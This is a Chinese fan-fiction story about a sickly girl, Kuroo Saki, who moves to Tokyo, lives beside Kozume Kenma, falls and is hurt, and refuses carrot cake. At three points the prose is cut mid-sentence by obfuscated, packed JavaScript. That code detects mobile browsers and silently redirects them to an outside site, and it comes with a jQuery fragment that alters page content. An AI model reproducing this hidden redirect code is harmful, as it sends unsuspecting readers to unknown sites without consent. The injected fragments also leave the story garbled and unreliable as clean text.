《关于我叫研磨的幼驯染》 1. 初识 四月的东京天气很好,无云的天空碧蓝如洗。 一辆白色的雪佛兰轿车在路上行驶着,车里放着时下比较经典的歌曲,一对年轻的夫妇坐在前面。 后座的小男孩正靠着车窗呼呼大睡,偶尔的颠簸让他的头与玻璃撞在一块也没有让人醒过来。 黑尾纱季安静地坐在男孩旁边,她看上去非常可爱,一头茂密又微卷的长发梳在脑后,头上别着一枚可爱的红白波点的蝴蝶结发卡,身上穿着一条同色系的背带连衣裙,里面是一件缝上蕾丝边的泡泡袖白衬衣,白袜子外穿着一双干净的红色漆皮皮鞋。 不过此时黑尾纱季漂亮的小脸蛋上写满了不高兴,脸色有点苍白微微噘着嘴,抱着双手靠在身后的儿童座椅上看着窗外不说话。 黑尾明美扭头看了一眼女儿,看到她还是不开心以后哭笑不得的安慰道:“好了纱季,只是搬一个家,不要这么不高兴。” 眼泪迅速弥漫在眼睛里面,黑尾纱季眨眨眼睛试图逼退水汽,然后她头也不抬地说:“可是以后就不能和一也一起出去玩了。” “那我们还可以写信呀,妈妈不是还要到了一也的电话吗?以后还可以打电话哟。”黑尾明美循循善诱,试图让女儿开心一点。 黑尾拓真扫了一眼后视镜里女儿闷闷不乐的脸,插嘴接上妻子的话;“之前搬东西的时候,我看到隔壁孤爪家有一个和你差不多大的男孩子,也许你们会成为好朋友。” 在大人眼中,好像这次搬家只是小小的一件事情,就像吃饭喝水一样很平常。 但是在此时还不到七岁的黑尾纱季眼中,这是一件堪比天塌下来一样的大事。 本就不喜欢出门社交的黑尾纱季,之前住在西东京的时候,身边除了一样怕生的哥哥以外,就只有御幸一也这个好友。 虽然他喜欢很多户外活动,还经常拉着黑尾纱季一起去看国小国中的的孩子打棒球,但是他是黑尾纱季的第一个朋友。 也是最好的朋友。 黑尾纱季在心里补充着。 所以家里因为黑尾拓真的工作变动,从西东京搬到东京,这一段在大人眼里不算什么的距离,就成为了黑尾纱季眼中漫长又可怕的裂缝。 她总觉得如果到了新的地方就结交到新朋友,是对好朋友的背叛。 爸爸妈妈真的什么都不懂! 黑尾纱季瘪瘪嘴,她伸手胡乱擦掉眼睛上的水汽,然后略微大声地说着:“爸爸妈妈什么都不懂!” 黑尾拓真和黑尾明美对视一眼,两人都不知道女儿为什么都会对这次搬家这么抗拒,两人叹了一口气,准备到新家以后带着儿女去隔壁孤爪家打招呼。 之前看到过两次孤爪家的孩子,和女儿一样,是一个安静又懂事的孩子,应该能成为好朋友的。 然而此时和父母心中想的相反,黑尾纱季继续抱臂看着窗外不断后退的灌木丛,她在心中想着。 绝对!她绝对不会和那个邻居家的孩子成为好朋友的! ...... 西东京距离东京不算远,没过一会白色雪佛兰就缓缓开进一座一户建的车库里。 因为之前黑尾夫妇就已经把家里东西搬来差不多了,现在他们只需要带着随身物品进去,就可以收拾了。 家里有一个漂亮的前院,里面种上了黑尾家都很喜欢的藤本月季,蓝色的花爬满了屋外的栅栏,很好看。 这也是一开始黑尾夫妇选定这套房子的一个重要原因。 一家人的卧室都在二楼,黑尾纱季的卧室在走廊尽头,两面墙上都有窗户,其中一扇窗户和旁边邻居家的一扇窗户正对着。 那间房间的窗户拉上的,看不见里面有什么东西。 慢吞吞地把纸箱里面的东西拿出来,黑尾纱季有些庆幸衣服这些东西都是爸爸妈妈之前都帮自己收拾好的,不需要自己再做些什么。 “纱季!需要我帮你吗?”哥哥黑尾铁朗从门边探出一个脑袋过来。 “哥哥你已经收拾完了吗?”黑尾纱季慢吞吞地把行李箱里的玩偶一个接着一个的拿出来。 见妹妹没有拒绝的意思,黑尾铁朗走进来,他帮着黑尾纱季把地上的玩偶按照她之前在家的习惯分门别类的放在应该放的位置。 然后坐在地上的地毯上看着黑尾纱季把最后的一点东西收拾完。 有微风从大开的窗户外面吹进来,窗帘被吹起一个角,好像有屋外的樱花花瓣被风吹进。 兄妹俩人安静地靠躺在窗边,然后开始正大光明的偷懒,微风吹得两人昏昏欲睡。 “咦,纱季,我突然发现你的卧室布置和之前家里的很像!”黑尾铁朗突然开口。 他这么一说,黑尾纱季也才发现,卧室的布置和之前的房间确实很像,除了多了一扇窗户以外,几乎都是原封不动地照搬过来。 明白是父母的心意,黑尾纱季有些开心地抓了抓身下的地毯,然后翘起嘴角偷偷笑了一下。 不知道两个人就这样待了多久,久到黑尾纱季都快睡着了(身边的哥哥已经打着小呼噜了)。 “我就说你们两个怎么没有动静,原来是在这里睡着了。”黑尾明美站在门口,有些好笑的看着在地上躺着的一双儿女。 屋外的太阳已经渐渐西斜,明媚的光变得朦胧起来。 “妈妈,”黑尾纱季揉着眼睛站起来,她走过去拉住母亲的衣角,然后侧身指着屋内的布置,示意自己已经把房间收拾好了。 黑尾铁朗被两人的动静吵醒,他抓了抓有些凌乱的头发,也跟着妹妹一起站起来。 黑尾明美弯腰伸手轻轻抚摸女儿蓬松的发顶,笑眯眯地往孩子手里塞了零花钱:“很棒哦我们纱季宝贝,房间整整齐齐。” “我呢我呢,妈妈你看过我房间没有。”黑尾铁朗不甘示弱地开口。 同样塞了零花钱在儿子手中,黑尾明美把黑尾铁朗的头发揉得更乱了:“也很棒!所以奖励你们喝一瓶波子汽水。” “好耶!”黑尾铁朗欢呼起来,身边的黑尾纱季的眼睛也亮起来。 ...... 得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408961|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了妈妈的准许,黑尾铁朗拉着黑尾纱季小跑着出门,才出门一会,黑尾铁朗突然想起妹妹身体不好这件事,回头一看,果然黑尾纱季的额角已经有些细密的汗珠。 “抱歉纱季。”黑尾铁朗有些自责,放慢脚步。 摇摇头,黑尾纱季大步走上前来到哥哥身边,她趁机提出要求:“那我等一下可以要一瓶冰镇的波子汽水吗?” 哼笑了一声,黑尾铁朗伸手敲了敲妹妹的头:“不可能。” 得到结果的黑尾纱季也不失望,之前除非天气非常热的时候,不然家里是一直严禁她喝冰汽水吃冰淇淋的。 能得到喝最好,得不到也不会失望,反正黑尾纱季已经习惯了。 她撇了撇嘴,没说什么。 反而是黑尾铁朗纠结起来了,他纠结了很久,最终咬咬牙:“好吧,一口!我给你喝我的一口汽水!冰镇的。” 说完,他不放心,又强调了一句:“就一口!” 得到了意料之外的答复,黑尾纱季超级惊喜,她弯着眼睛笑起来。 伸手学着爸爸妈妈平时的样子,黑尾铁朗也揉了揉妹妹的头发,他左右看了看,然后小声叮嘱:“不要和爸爸妈妈说哦,纱季。” “嗯!这是我们的秘密!”黑尾纱季马上答应道。 兄妹俩人手牵手走到便利店门口,选了他们最爱的葡萄口味,然后结账走回家。 太阳的光渐渐染上橙色,人们的影子都被拉长,兄妹俩人拖着长长的影子慢慢往回走。 快到家的时候,她们停住脚步。 “就一口哦!”黑尾铁朗把瓶子放在衣服上擦了擦,瓶身的水珠把衣服晕染开深色的痕迹,然后用力怼开瓶口的珠子。 滋滋的气泡声中,黑尾纱季小心翼翼地接住瓶子,然后抿了一小口。 冰凉的汽水入口后显示感受到刺激的气泡,然后才是葡萄的酸甜味。 满足地抿起嘴角,黑尾纱季超级开心地把瓶子还给哥哥。 “那哥哥也试试我的!”黑尾纱季用力地举高瓶子,试图做出电视上大人们干杯的样子,然后再放下。 然而不知道是不是这瓶汽水之前被人摇晃过,她按下玻璃珠的一瞬间,瓶子里的汽水涌出大量的气泡且喷了出来。 一切都是一瞬间的事情,都来不及让两个小朋友去反应。 头上、脸上、衣服上都沾满了黏腻的汽水。 “噗......”身后传来一阵小声的笑声,好像是有人围观了这场闹剧。 黑尾纱季跟着声音回头,只见一个和她差不多大的男孩子站在后面,他看上去很瘦,一头柔顺的黑发垂在脸旁,一双金黄色的猫眼在她回头的一瞬间缩小了瞳孔。 他似乎也察觉到刚刚的声音是一件很失礼的事情,在他张嘴准备说抱歉的时候,黑尾纱季就把头转过去了,圆圆的后脑勺昭示着主人不妙的心情。 ...... 完蛋,好像让她生气了。 默默围观了一路兄妹汽水相让剧情的孤爪研磨想着。 2. 受伤 黑尾纱季是一个慢热且守规则的小朋友,这个规则主要是她自己的规则。 这些规则像无形的丝线,编织成她安稳的小世界。 无论是在新家还是旧居,她的床头必须整齐摆放四只玩具小熊,紧挨着枕头边缘,每只熊的间距都要用她的小手比量过。 最左侧的那只永远要戴着蝴蝶结礼帽。 曾有次妈妈整理房间时不小心调换了位置,她愣是在深夜爬起来重新排列,直到月光透过窗帘的缝隙,在那顶缎面礼帽上投下银辉才肯睡去。 上楼梯时,她总会下意识先迈出左脚,这样抵达二楼时右脚刚好完成最后一级台阶。 这个习惯源于三岁那年,她在绘本里读到“左脚先踏出第一步会带来好运”的说法,虽然早就忘记是哪本书,但这个仪式却像刻进骨髓般自然。 衣物必须按她的审美搭配,每周日晚上要把五套搭配好的衣服挂在衣柜右侧,每套都用不同颜色的衣架区分。 餐盘里的蔬菜总要吃得干干净净才会去碰最爱的肉食,这个习惯让总为挑食儿童头疼的幼儿园老师把她当作模范生表扬。 因此,适应新环境对黑尾纱季来说远比哥哥黑尾铁朗费力得多。 搬家后的第三周,她还在笔记本上画着新的动线图。 她需要在新家重新建立一套生活秩序:比如去便利店时,得先沿着左侧走到邻居家的花墙尽头时再过到马路右边继续前行。 这条路线经过她反复测试,能恰好避开放学时段总在巷口踢足球的国中生,又能经过那家面包店飘出奶油香味的后窗。 家人对这些小习惯不以为意,觉得无伤大雅便由着她去。爸爸常说这是遗传自奶奶的细致性格,妈妈则笑着回忆自己小时候也会给洋娃娃编序号。 至于哥哥是否理解,从他会陪着妹妹完成这些仪式就看得出来——当黑尾纱季坚持要数到第一百下才肯吹灭生日蜡烛时,是黑尾铁朗举着摄像机帮她记录。 这是个把妹妹捧在手心的好哥哥,虽然他总说黑尾纱季的规矩比数学公式还难记。 这天午后,阳光把榻榻米晒出干草香,黑尾纱季喝完水,将印着黄油小熊的杯子端正地摆到最左侧——杯柄要朝向窗户,这是上周刚定的新规矩。 拉开零食柜时,金属把手在她掌心留下冰凉的触感,本该放着汽水的位置空荡荡的,只剩下一圈圆形水渍。准是哥哥出去补习班的时候顺走了最后一瓶,柜门上还贴着他歪歪扭扭的字条:“借一瓶,用新发售的怪兽卡抵押~” 刚上一年级的黑尾铁朗因数学入学考不及格,被母亲押着开始补习生涯。 搬来不久就遭此厄运,在数学及格前都得乖乖去上课。 黑尾纱季还记得哥哥出门时哀怨的眼神,他像只被雨淋湿的大型犬,把书包甩在肩上发出夸张的叹息:“为什么人类要发明数学啊!” “妈妈,汽水没有了。”黑尾纱季撅着嘴扯了扯母亲衣角。 厨房里飘着海腥味,黑尾明美正在处理秋刀鱼,不锈钢盆里的银灰色鱼身泛着粼光,鳃盖张合间露出鲜红的鳃丝。 这个画面让黑尾纱季立刻明白:今晚是哥哥和她最爱的盐烤秋刀鱼,妈妈总在爸爸出差时做这道菜,因为不用处理麻烦的鱼刺。 “上周才补的货,你哥最近偷喝了不少啊。”黑尾明美气笑,沾着鱼鳞的手指在围裙上擦出几道银线。 见女儿眼巴巴的模样又心软,她弯腰时马尾辫扫过黑尾纱季的脸颊,带着淡淡的洗发水香:“纱季先去买一瓶吧?等明天爸爸回来我们再去超市。” 黑尾纱季踮脚从壁橱取下妈妈的零钱包,倒出一把硬币在茶几上分类。 100円硬币要摆成花朵状,50円的穿孔硬币得串在食指上转一圈。 数够金额后,她举着硬币跑到厨房:“那我现在就去?” 母亲点头时,黑尾纱季已经跑到玄关。 她穿鞋的顺序也有讲究:先右后左,鞋带要系成标准的蝴蝶结,最后还要用手指把鞋尖上微笑小熊的鼻子擦亮。 春末的阳光比想象中暴烈。才走到花墙对面,汗珠就已沁满额头,顺着她婴儿肥的脸颊滑到下巴,后背的棉质连衣裙洇出深色湿痕。 用手遮在眼前,黑尾纱季从指缝里看被阳光照得透明的梧桐树叶,叶脉像毛细血管般清晰可见。 便利店的自动门打开时,冷气混着关东煮的香气扑面而来。 黑尾纱季的凉鞋在瓷砖地上踩出啪嗒声,惊醒了柜台后打瞌睡的店员大叔。 冷柜里,冰镇汽水冒着诱人的寒气。 但黑尾纱季还是踮脚从货架中层取了瓶常温的——妈妈说过剧烈运动后不能喝冰饮。 临走前她又恋恋不舍地望了眼冷柜。 成为大人多好啊,那时就能随心所欲买三瓶冰汽水,一瓶当场喝掉,一瓶冻成冰棍,还有一瓶要摇得气泡饱胀,然后"嘭"地打开看泡沫喷泉。 想到这里,她抱紧怀里的汽水叹了口气,塑料瓶在她胸前发出轻微的变形声。 重新踏入热浪中,黑尾纱季盯着瓶中翻腾的紫色气泡犹豫要不要破例在外饮用。 上次和哥哥分享汽水时被喷得满身狼狈的场景还历历在目——气泡水像紫色的烟花在他们头顶炸开,路过的孤爪研磨正好目睹她刘海滴着糖浆的窘态。 思考间,她没注意到前方路面散落的细沙碎石。 等踩上去察觉异样时,脚底已经传来不祥的滑动感—— 呲啦—— 膝盖和手掌重重磕在粗糙的地面上,火辣的痛感像被无数根烧红的针同时扎入。 汽水瓶咕噜噜滚到路边,在排水沟盖板上撞出清脆的回响。 身后传来细微的抽气声,回头正对上孤爪研磨错愕的目光。这个曾目睹她汽水事故的邻居男孩,此刻又撞见她最狼狈的时刻。 他手里的游戏机屏幕还亮着,像素小人保持着跳跃的姿势定格。 延迟袭来的刺痛让黑尾纱季慢半拍地爬起来。 阳光直射在伤口上,她看见掌心与膝盖上渗血的伤口里嵌着星星点点的沙粒。 这个联想突然让疼痛变得具体,豆大的泪珠顿时断了线,有几滴落在伤口上,冲淡的血丝在皮肤上蜿蜒出粉色小溪。 “你......没事吧?”孤爪研磨凑近时被狰狞的伤口惊得后退半步。 女孩膝盖整个擦破,沙粒像种子般深嵌在血肉里,血痕已经蜿蜒到小腿,在白袜上染出刺眼的红梅。他慌忙把游戏机塞进口袋,金属按键在布料下发出"咔哒"的闷响。 捡起滚落的汽水瓶时,他注意到标签被蹭破一角,葡萄图案缺了半颗果实。 黑尾纱季沉默地尝试迈步,每走一步都疼得吸气。 泪水混着汗水在晒红的脸颊上划出亮痕。 当孤爪研磨带着黑尾明美赶来时,看到的就是这样一幕:小姑娘独自拖着血痕斑斑的双腿,在烈日下抽泣着蜗行。她的影子缩成小小一团,像被太阳烤化的巧克力,黏在滚烫的柏油路上。 “妈妈......呜......好痛......”见到母亲的瞬间,强撑的坚强土崩瓦解。 黑尾纱季扑进母亲怀里嚎啕大哭,仿佛要把所有委屈都哭出来。她攥着母亲衣襟的手指关节发白,混合着血和灰的膝盖在黑尾明美的浅色裤子上留下触目惊心的印记。 “多亏研磨了。”黑尾明美搂紧女儿,对男孩歉意地点头。 她拨开黑尾纱季被汗水黏在额前的刘海:“这孩子不知怎么摔的,我先带她去诊所。” 早熟的男孩摆摆手示意不必担心,目光却忍不住追随着黑尾纱季膝盖上晃动的血珠。 阳光下,那瓶捡回的葡萄汽水正在路沿边渗出紫色的糖渍,吸引了一队蚂蚁围着瓶口打转。 直到母女俩的身影消失在街角,研磨才从口袋掏出游戏机,发现暂停的画面里,像素小人早已掉进深渊。 ...... 诊所的消毒水气味像一层透明的薄膜,轻轻包裹着黑尾纱季的鼻腔。 她坐在诊疗床上,双腿悬空,膝盖上狰狞的伤口已经停止了流血,但嵌在皮肉里的沙粒还在隐隐作痛。 刚才在妈妈怀里嚎啕大哭的记忆让她耳根发烫——特别是想到孤爪研磨可能听见了自己抽抽搭搭说的好痛,还有妈妈像哄婴儿般拍的背。 现在冷静下来,羞耻感像潮水一样漫上心头,她盯着自己沾满灰尘的裙摆,手指无意识地绞着布料边缘。 “会有点疼哦。”戴着圆框眼镜的医生阿姨蹲下身,镊子尖端闪着冷光。 当冰凉的金属触到伤口时,黑尾纱季猛地绷直了脊背。她能清晰感觉到每粒沙子被夹出来的过程,就像从布丁里挑出香草籽。 有颗特别顽固的石子卡在膝盖骨的位置,医生不得不用生理盐水冲洗,水流冲刷伤口的刺痛让她倒吸一口冷气,眼泪在眼眶里打转却倔强地不肯落下。 “好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408962|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厉害,居然没哭呢。”医生惊讶地抬头,镜片后的眼睛弯成月牙。 她转身取药时,白大褂掀起的气流带着薄荷味的风。 黑尾明美的手指轻轻梳理着女儿汗湿的刘海,指尖的温度让黑尾纱季想起冬天裹着毛毯喝热可可的感觉。 “我们家纱季上次打疫苗也没哭哦。”妈妈的声音里藏着掩不住的自豪。 这种夸奖却让黑尾纱季更加难为情。 她偷偷拽了拽妈妈的衣角,用眼神传递着别说了的哀求。 诊疗室的门没关严实,走廊上来往的脚步声时远时近,她总疑心其中夹杂着熟悉的、像猫咪般轻巧的脚步声。 要是被那个男孩知道她因为清理伤口就哭鼻子,岂不是比当众被汽水喷湿还要丢脸? “完美!”医生剪断绷带时宣布。 膝盖上的纱布被打成精致的蝴蝶结,两翼对称得如同真正的蝴蝶停驻。 黑尾纱季小心翼翼地用指尖碰了碰,纱布粗糙的触感提醒着她今天遭遇的狼狈。 医生开药单的钢笔在纸上沙沙作响:“洗澡要用防水敷贴,可乐饼之类的油炸食品要暂停一周哦。” 走出诊所时,夕阳把两人的影子拉得很长。 黑尾明美弯腰想抱她,黑尾纱季却像受惊的兔子般往后缩了缩。 “我能自己走。” 她故意把步子迈得很大,结果牵扯到伤口疼得龇牙咧嘴。 妈妈了然地笑着牵起她的手,掌心的温度透过相贴的皮肤传来:“作为奖励,今天破例允许吃冰淇淋哦。” “梦龙也可以吗?”黑尾纱季的眼睛瞬间亮起来,忘了维持小大人的矜持。 得到肯定答复后,她雀跃的脚步差点变成小跳,直到膝盖传来抗议的疼痛才恢复端庄的走姿。 路过便利店时,她忍不住看向自己摔倒的地方——几粒染血的沙子还粘在路沿上。 当晚,黑尾铁朗冲进家门时带起的风掀起了黑尾纱季的裙摆,他书包都没来得及放就蹲下来检查妹妹的伤势,夸张的惊呼声能把屋顶的瓦片震下来:“这是去打仗了吗?难道便利店出现了哥斯拉?” 他手指虚虚描摹着纱布边缘,想碰又不敢碰的样子让黑尾纱季想起他们养过的、对待受伤同伴格外温柔的仓鼠。 当听到孤爪研磨的名字时,黑尾铁朗的表情变得复杂起来。 他抓乱了自己本就桀骜不驯的卷发,发梢还沾着补习班同桌恶作剧贴的星星贴纸:“那个游戏机不离手的家伙啊......” 他嘀咕着,突然双手合十对妹妹鞠躬:“对不起!以后零食柜最上层永远是你的专属领地!” 这个突如其来的承诺让黑尾纱季眨了眨眼。 她原本只是想抱怨两句挽回面子,没想到获得了零食特权。 哥哥乱糟糟的头发在灯光下泛着暖色的光,让她想起被自己摆在床头最右侧的那只绒毛小熊。 “真的全部给我?”她伸出小拇指:“拉钩?” 两根小指勾在一起的瞬间,黑尾明美捧着包装精美的礼盒从厨房走出来。 盒子上缎带的结打得比医生绑的蝴蝶结还要工整,里面装着黑尾铁朗珍藏的限定版怪兽卡和黑尾纱季最喜欢的葡萄味软糖。 “现在去道谢的话,”妈妈眨眨眼,“或许能赶上研磨家烤曲奇的香味飘出来的时候哦。" 黑尾纱季磨磨蹭蹭地跟在家人身后,每走一步都能感觉到膝盖伤口轻微的拉扯感。 邻居家的门铃按钮是猫爪形状的,按下去会发出"喵呜"的电子音。 当门打开时,暖黄色的灯光像蜂蜜一样流淌出来,她一眼就看见躲在大人身后的孤爪研磨——他手里还握着那台荧光绿的掌机,屏幕的光映在他猫一样的瞳孔里。 “谢、谢谢......”黑尾纱季的声音比蚊子振翅还轻。 出乎意料的是,孤爪研磨的耳尖居然比她的脸更早泛起红色。 他飞快地塞过来一个还带着体温的盒子,里面整整齐齐码着六瓶迷你葡萄汽水,每瓶都贴着"小心摇晃"的便签。 黑尾铁朗在一旁发出恍然大悟的"哦——"声,而妈妈则微笑着摸了摸两个孩子的头。 黑尾纱季低头看着怀里的汽水,突然发现研磨的左手手背上也贴着创可贴——大概是在捡她掉落的汽水瓶时,被路边的碎石划伤的。 这个发现让她心里某个角落悄悄软了下去,像含在嘴里慢慢融化的葡萄味糖果。 3. 胡萝卜蛋糕 黑尾纱季是早产的孩子,出生时体重只有2.3公斤,瘦小的身躯在保温箱里待了整整二十八天才被允许回家。 那段时间,黑尾明美每天都会在医院待上整整一天,隔着保温箱的玻璃轻轻哼着摇篮曲,纤细的手指在玻璃上描摹着女儿小小的轮廓。 而黑尾拓真下班后也会立刻赶来,每一次西装都来不及换下,就用温暖的大手贴在玻璃上,仿佛这样就能传递体温给女儿。 护士们都说,从没见过这么尽职的父母,每天雷打不动地来陪伴,连值班表都记得清清楚楚。 不知道是不是因为早产的缘故,黑尾纱季的身体一直不太好。 她的皮肤总是呈现出一种近乎透明的苍白,在阳光下几乎能看到皮肤下淡青色的血管。 纤细的手腕仿佛一折就会断,黑尾明美给她买的手链总是要调到最小的扣眼才能戴稳。 每当换季时节,她总是第一个中招,一阵微弱的凉风就能把她吹成重感冒,接着就是持续的低烧和咳嗽。 最麻烦的是她娇嫩的肠胃,稍微吃得不合适就会胃痛拉肚子,为此黑尾明美特意准备了一个粉色的小本子,详细记录着女儿对每种食物的反应,甚至连进食时间都要精确到分钟。 前些日子摔的那一跤,表面看起来只是一点看起来有些严重但实际上只是皮外伤的伤口,然而当晚她就发起了高烧,小脸烧得通红,额头上渗出细密的汗珠,整个人蜷缩在被窝里瑟瑟发抖,连呼吸都变得急促起来。 黑尾夫妇连夜把她送到了儿童医院的急诊室,值班医生检查后说是伤口感染引起的炎症反应,需要立即输液治疗。 输液的时候,黑尾纱季疼得直掉眼泪,细小的针头扎进她纤细的手背时,她咬着嘴唇不让自己哭出声来。 黑尾铁朗站在病床边,笨拙地拿着湿毛巾给妹妹擦脸,结果把水弄得到处都是,被护士说了好几句。 他内疚地低着头,却还是坚持要陪着妹妹,那一晚,黑尾夫妇轮流守在医院,谁都没有合眼。 这场病来得快去得慢,黑尾纱季断断续续烧了差不多一周才完全退烧,期间她的胃口很差,只能喝得下米汤和果汁。 黑尾明美变着花样给她做容易消化的食物,连平时最讨厌的胡萝卜都切得碎碎的熬进粥里。 等她终于能下床活动时,幼儿园已经开学好几天了。黑尾明美看着女儿还有些苍白的脸色,和丈夫商量后决定让她在家多休息几天。 “反正已经错过开学典礼了,不如等纱季完全康复再去。”黑尾拓真一边说一边给女儿掖了掖被角。 这段时间里,黑尾纱季大部分时间都窝在沙发上看绘本,或者用妈妈的平板听有声故事。 她最近迷上了《兔子先生一家的冒险》,特别是里面描写的胡萝卜蛋糕:“金黄松软的蛋糕体里藏着甜美的胡萝卜丝,表面覆盖着雪白的奶油奶酪糖霜,每一口都能尝到蜂蜜的香甜和肉桂的温暖。” 光是听描述就让她口水直流,连带着对胡萝卜的厌恶都减轻了几分。 为此她缠着妈妈做了好几天,小嘴叭叭地说个不停,最后黑尾明美终于答应在她完全康复的那天做这个特别的蛋糕。 宣布康复的那天早晨,黑尾纱季兴奋得在房间里转来转去。 她特意跑到正在系鞋带的哥哥面前,踮起脚尖帮他整理歪掉的领结,郑重其事地说:“哥哥,今天一定要早点回来哦!妈妈说要做胡萝卜蛋糕!” 黑尾铁朗揉了揉妹妹蓬松的头发,笑着答应了。 等哥哥出门后,黑尾纱季抱着新买的画册坐在窗边的沙发上,她的小腿晃啊晃的,膝盖上的结痂已经变成了淡粉色,再过几天就会完全脱落了。 黑尾拓真因为女儿生病特意请了年假,这会儿正端着茶杯坐到女儿旁边。 茶杯里飘出缕缕热气,带着红茶的醇香。 “我们小纱季能看懂这么复杂的故事吗?”他好奇地问道,目光落在女儿手中的精装绘本上。 黑尾纱季头也不抬地“嗯”了一声,但在爸爸的鼓励下,她开始用稚嫩的声音朗读起来。 令人惊讶的是,她几乎没有一个字读错,而且语调把握得恰到好处,连标点符号的停顿都处理得很好。 瞪大了眼睛,黑尾拓真转头看向不知何时站在身后的妻子,声音有些发抖:“明美......我们纱季该不会是个天才吧?” 黑尾明美温柔地抚摸着女儿的头发,发丝在她指间流淌如同上好的丝绸。 “只要纱季开心就好。”她轻声说道,眼中盛满温柔。 这时黑尾纱季正好读完最后一个段落,她抬起头期待地看着爸爸。 下一秒,她就被兴奋的父亲高高举到了空中。 “我们纱季真是太厉害了!”黑尾拓真脸上的笑容灿烂得像是中了彩票。 黑尾明美赶紧提醒:“小心点!纱季膝盖上的伤还没好全呢!” 这才想起女儿刚生过病,黑尾拓真讪讪地把人放了下来,还不忘轻轻揉了揉她的发顶。 黑尾纱季全程绷着小脸,直到双脚重新踩到地面才悄悄松了口气。 看着爸爸兴奋的样子,她不禁想起哥哥在家时也是这副傻乎乎的模样。 她学着昨天电视剧里看到的那个严肃的女老师的样子,装模作样地叹了口气,踮起脚尖拍了拍爸爸的大腿(因为够不到后背),认真地说:“爸爸是笨蛋。” 被女儿这副小大人的模样逗笑了,黑尾明美眼角浮现出细细的笑纹,黑尾拓真则假装受伤地捂住胸口,做出一副痛心疾首的样子,逗得黑尾纱季终于忍不住笑出声来。 午后的阳光渐渐西斜,黑尾铁朗放学回家时,黑尾纱季刚从小憩中醒来。 他一进门就兴奋地宣布:“纱季!体育老师说下个月要教我们打排球了!” 他的书包都还没放下,脸上因为奔跑而泛着红晕。黑尾纱季慢悠悠地从零食柜里拿出两包蔬菜干,分给哥哥一包后,困惑地问:“排球是什么?” 她小口小口地咬着蔬菜干,像只小松鼠一样鼓着腮帮子。 黑尾铁朗立刻手舞足蹈地比划起来,可惜他的描述实在太过抽象:“就是先这样咻咻咻地传球,然后砰砰砰地扣球,最后啪地得分!” 他的动作太大,差点打翻茶几上的花瓶。见妹妹还是一脸茫然,他又重复了好几遍同样难以理解的解释,最后累得瘫在沙发上直喘气。 “算了,听起来就很累。”黑尾纱季撇撇嘴,她对运动一向没什么兴趣。 平时幼儿园里上体育课她总是找各种理由躲在树荫下,连跳绳都能让她气喘吁吁。 黑尾铁朗急了,开始滔滔不绝地讲述排球有多好玩,下学期一定要去排球教室之类的话。 他的眼睛闪闪发亮,手不停地比划着扣球的动作,连声音都提高了八度。 黑尾纱季冷笑一声,一针见血地指出:“排球教室?先把你的数学成绩提上来再说吧。” 这句话正中红心,黑尾铁朗顿时蔫了,像只泄了气的皮球一样缩在沙发角落里。 他小声辩解道:“我这周小测及格了......” “那期末考呢?”黑尾纱季乘胜追击,哥哥立刻哑口无言,只能哀怨地看着这个过于聪明的妹妹。 就在这时,厨房飘来的香甜味道拯救了黑尾铁朗。 一股混合着肉桂、蜂蜜和黄油香气的温暖味道弥漫在整个客厅,兄妹俩像两只闻到鱼腥味的小猫,同时耸着鼻子跑到厨房门口,扒着门框往里张望。 “是胡萝卜蛋糕吗?”两双亮晶晶的眼睛充满期待,黑尾纱季甚至不自觉地舔了舔嘴唇。 黑尾明美笑着从烤箱里取出金黄色的蛋糕,表面覆盖着雪白的糖霜,还点缀着核桃碎,完美复刻了故事里的描述。 蛋糕在烤盘上微微颤动,散发着诱人的香气。 “哇——”兄妹俩异口同声地惊叹着,黑尾铁朗的肚子甚至很配合地咕噜叫了一声,惹得大家都笑了起来。 “快去洗手,”黑尾明美指挥道,一边示意丈夫准备红茶:“下午茶马上开始。” 黑尾纱季迫不及待地冲向洗手间,她仔仔细细地搓洗着小手,连指缝都不放过,还不时催促磨蹭的哥哥快一点。 等她回到餐桌前时,妈妈已经切好了蛋糕,每个人的盘子里都放着一块三角形的美味。 黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15408963|168796||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾纱季突然想起一个重要问题,皱着眉头看向哥哥:“等等,我不是最讨厌胡萝卜吗?” “这个...应该不一样吧?”黑尾铁朗也不太确定,他盯着盘子里的蛋糕,鼻翼微微翕动,显然也被香气诱惑了。 怀着最后一丝希望,黑尾纱季小心翼翼地咬了一口,然后整张小脸都皱了起来,像是尝到了什么可怕的东西。“呕......” 她痛苦地咽下去,立刻想把剩下的偷偷塞给哥哥。 黑尾铁朗警觉地护住自己的盘子,像守护宝藏的龙一样坚决:“不行!我也不要吃!” “纱季,这不是你一直想吃的蛋糕吗?”黑尾明美温柔却不容拒绝地说,嘴角带着若有若无的笑意。 